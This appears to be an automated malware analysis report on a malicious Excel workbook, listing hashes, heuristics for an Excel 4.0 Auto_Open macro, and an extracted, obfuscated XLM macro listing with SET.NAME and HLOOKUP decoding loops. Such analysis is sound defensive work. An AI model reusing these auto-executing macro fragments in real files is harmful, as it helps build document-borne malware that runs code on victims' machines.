Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4b6a77f282e29bec…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:11 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 7d4a0d5b8fe98ac33811fbd2b6a5c5e9 SHA-1: 73372705be77400c952d2714f647f67239c1b43a SHA-256: 4b6a77f282e29bec1e005c815c11c56d73e1f76a346c35d9343f9398a34c625a
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding indicating potential for automatic execution upon opening. The presence of dangerous formula APIs like RUN further suggests the macro is designed to execute arbitrary code. While the exact payload is not discernible from the provided evidence, the mechanism points to a macro-based execution of a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6697 bytes
SHA-256: 89131f01a05590ca0460b20298969acd84d9a782c0c9ad08dbd08b57a4ac3d9e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WpvOSV
' 0018     27 LABEL : Cell Value, String Constant - acNFsQkRHtDB len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E184 
' 0018     25 LABEL : Cell Value, String Constant - BVdFJDrSqF len=0 
' 0018     27 LABEL : Cell Value, String Constant - CdYDXRuOQnel len=0 
' 0018     26 LABEL : Cell Value, String Constant - cHEvPjhkiuG len=0 
' 0018     22 LABEL : Cell Value, String Constant - CzCoOdu len=0 
' 0018     23 LABEL : Cell Value, String Constant - eRvWcfTR len=0 
' 0018     22 LABEL : Cell Value, String Constant - fuETjQT len=0 
' 0018     26 LABEL : Cell Value, String Constant - gGOeiUdELQn len=0 
' 0018     23 LABEL : Cell Value, String Constant - hekcymAc len=0 
' 0018     25 LABEL : Cell Value, String Constant - hONccKBsYn len=0 
' 0018     23 LABEL : Cell Value, String Constant - IycZHflr len=0 
' 0018     24 LABEL : Cell Value, String Constant - IYENLGsOf len=0 
' 0018     20 LABEL : Cell Value, String Constant - LiqNM len=0 
' 0018     21 LABEL : Cell Value, String Constant - pelLQm len=0 
' 0018     24 LABEL : Cell Value, String Constant - pvjIOKsBD len=0 
' 0018     25 LABEL : Cell Value, String Constant - SHepUJKsog len=0 
' 0018     27 LABEL : Cell Value, String Constant - TkdpkQNDbGGP len=0 
' 0018     23 LABEL : Cell Value, String Constant - UDaijrYy len=0 
' 0018     21 LABEL : Cell Value, String Constant - ujVPRx len=0 
' 0018     27 LABEL : Cell Value, String Constant - yhlreQkctabh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WpvOSV,T46,"",-811.00000000000000000000
'  WpvOSV,T47,"",471.00000000000000000000
'  WpvOSV,T48,"",254.00000000000000000000
'  WpvOSV,T49,"",-248.00000000000000000000
'  WpvOSV,T50,"",869.00000000000000000000
'  WpvOSV,T51,"",255.00000000000000000000
'  WpvOSV,E90,"SET.NAME("hONccKBsYn",0+VALUE("0"))",""
'  WpvOSV,E95,"SET.NAME("BVdFJDrSqF",hONccKBsYn)",""
'  WpvOSV,E99,"SET.NAME("gGOeiUdELQn",hONccKBsYn)",""
'  WpvOSV,E101,"SET.NAME("IycZHflr",COUNTA(CzCoOdu))",""
'  WpvOSV,E104,"SET.NAME("hekcymAc",COUNTA(LiqNM))",""
'  WpvOSV,E109,[],""
'  WpvOSV,E112,"SET.NAME("eRvWcfTR","")",""
'  WpvOSV,E114,"BVdFJDrSqF",""
'  WpvOSV,E116,"SET.NAME("TkdpkQNDbGGP",HLOOKUP("*",CzCoOdu,BVdFJDrSqF,FALSE))",""
'  WpvOSV,E119,"UDaijrYy",""
'  WpvOSV,E122,"SET.NAME("pvjIOKsBD",hONccKBsYn)",""
'  WpvOSV,E127,[],""
'  WpvOSV,E132,"pvjIOKsBD",""
'  WpvOSV,E137,"yhlreQkctabh",""
'  WpvOSV,E140,"cHEvPjhkiuG",""
'  WpvOSV,E144,"ujVPRx",""
'  WpvOSV,E146,"SET.NAME("fuETjQT",VALUE(HLOOKUP("*",LiqNM,ujVPRx,FALSE)))",""
'  WpvOSV,E149,"pelLQm",""
'  WpvOSV,E152,"eRvWcfTR",""
'  WpvOSV,E156,"gGOeiUdELQn",""
'  WpvOSV,E158,NEXT(),""
'  WpvOSV,E163,"CdYDXRuOQnel",""
'  WpvOSV,E168,[],""
'  WpvOSV,E173,"IYENLGsOf",""
'  WpvOSV,E178,NEXT(),""
'  WpvOSV,E180,RETURN(),""
'  WpvOSV,E210,"SET.NAME("SHepUJKsog",E90)",""
'  WpvOSV,E213,"CzCoOdu",""
'  WpvOSV,E215,"SET.NAME("LiqNM",R44C15)",""
'  WpvOSV,E218,"SET.NAME("IYENLGsOf",225)",""
'  WpvOSV,E220,"SET.NAME("acNFsQkRHtDB",5)",""
'  WpvOSV,E224,SHepUJKsog(),""
'  WpvOSV,E225,HALT(),""

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